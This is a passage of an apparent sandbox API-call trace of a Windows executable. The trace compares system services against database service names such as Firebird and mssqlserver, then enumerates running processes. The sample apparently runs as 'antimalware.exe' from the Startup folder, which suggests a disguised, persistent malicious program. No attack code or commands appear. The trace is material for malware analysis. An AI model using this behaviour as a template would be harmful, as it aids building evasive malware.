	[0131.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0131.906] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0131.906] lstrlenW (lpString="RpcSs") returned 5
	[0131.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0131.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0131.906] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0131.907] lstrlenW (lpString="SamSs") returned 5
	[0131.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0131.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0131.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0131.907] lstrlenW (lpString="Schedule") returned 8
	[0131.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0131.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0131.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0131.907] lstrlenW (lpString="SecurityHealthService") returned 21
	[0131.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0131.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0131.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0131.907] lstrlenW (lpString="SENS") returned 4
	[0131.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0131.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0131.907] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0131.907] lstrlenW (lpString="ShellHWDetection") returned 16
	[0131.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0131.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0131.907] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0131.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0131.908] lstrlenW (lpString="Spooler") returned 7
	[0131.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0131.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0131.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0131.908] lstrlenW (lpString="StateRepository") returned 15
	[0131.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0131.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0131.908] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0131.908] lstrlenW (lpString="SysMain") returned 7
	[0131.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0131.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0131.908] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0131.908] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0131.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0131.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0131.908] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0131.908] lstrlenW (lpString="Themes") returned 6
	[0131.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0131.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0131.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0131.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0131.909] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0131.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0131.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0131.909] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0131.909] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0131.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534cd8 | out: hHeap=0x4f0000) returned 1
	[0131.909] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0131.917] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.918] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0131.918] lstrlenW (lpString="System") returned 6
	[0131.918] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0131.919] lstrlenW (lpString="smss.exe") returned 8
	[0131.919] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0131.920] lstrlenW (lpString="csrss.exe") returned 9
	[0131.920] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0131.921] lstrlenW (lpString="wininit.exe") returned 11
	[0131.921] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0131.921] lstrlenW (lpString="csrss.exe") returned 9
	[0131.921] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0131.922] lstrlenW (lpString="winlogon.exe") returned 12
	[0131.922] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0131.923] lstrlenW (lpString="services.exe") returned 12
	[0131.923] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0131.924] lstrlenW (lpString="lsass.exe") returned 9
	[0131.924] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0131.924] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0131.924] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0131.925] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0131.925] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.926] lstrlenW (lpString="svchost.exe") returned 11
	[0131.926] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.927] lstrlenW (lpString="svchost.exe") returned 11
	[0131.927] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0131.927] lstrlenW (lpString="dwm.exe") returned 7
	[0131.927] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.928] lstrlenW (lpString="svchost.exe") returned 11
	[0131.928] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.929] lstrlenW (lpString="svchost.exe") returned 11
	[0131.929] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.929] lstrlenW (lpString="svchost.exe") returned 11
	[0131.930] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.930] lstrlenW (lpString="svchost.exe") returned 11
	[0131.930] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.931] lstrlenW (lpString="svchost.exe") returned 11
	[0131.931] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.932] lstrlenW (lpString="svchost.exe") returned 11
	[0131.932] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.932] lstrlenW (lpString="svchost.exe") returned 11
	[0131.932] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.933] lstrlenW (lpString="svchost.exe") returned 11
	[0131.933] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.934] lstrlenW (lpString="svchost.exe") returned 11
	[0131.934] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.934] lstrlenW (lpString="svchost.exe") returned 11
	[0131.935] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0131.935] lstrlenW (lpString="spoolsv.exe") returned 11
	[0131.935] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.936] lstrlenW (lpString="svchost.exe") returned 11
	[0131.936] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0131.937] lstrlenW (lpString="audiodg.exe") returned 11
	[0131.937] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0131.937] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0131.937] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0131.938] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0131.938] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0131.939] lstrlenW (lpString="sihost.exe") returned 10
	[0131.939] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0131.940] lstrlenW (lpString="Memory Compression") returned 18
	[0131.940] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.940] lstrlenW (lpString="svchost.exe") returned 11
	[0131.940] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0131.955] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0131.955] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0131.955] lstrlenW (lpString="taskhostw.exe") returned 13
	[0131.955] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0131.956] lstrlenW (lpString="msoia.exe") returned 9
	[0131.956] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0131.957] lstrlenW (lpString="taskhostw.exe") returned 13
	[0131.957] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0131.957] lstrlenW (lpString="explorer.exe") returned 12
	[0131.957] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0131.958] lstrlenW (lpString="SearchUI.exe") returned 12
	[0131.958] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0131.958] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0131.958] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0131.959] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0131.959] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0131.959] lstrlenW (lpString="mobsync.exe") returned 11
	[0131.959] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.960] lstrlenW (lpString="svchost.exe") returned 11
	[0131.960] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0131.960] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0131.960] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0131.961] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0131.961] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0131.961] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0131.961] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0131.962] CloseHandle (hObject=0x240) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507bb8 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507df8 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5064e0 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506620 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506bd0 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508718 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506500 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506640 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0d0 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e030 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506420 | out: hHeap=0x4f0000) returned 1
	[0131.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de78 | out: hHeap=0x4f0000) returned 1
	[0131.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x534cb0
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x544cb8
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533078
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533078, Size=0x20) returned 0x52e0a8
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0a8, Size=0x40) returned 0x507e88
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532df0
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532df0, Size=0x20) returned 0x52df40
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532fe8
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532fe8, Size=0x20) returned 0x52e080
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532e68
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532e68, Size=0x20) returned 0x52df68
	[0131.963] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df68, Size=0x40) returned 0x5078e8
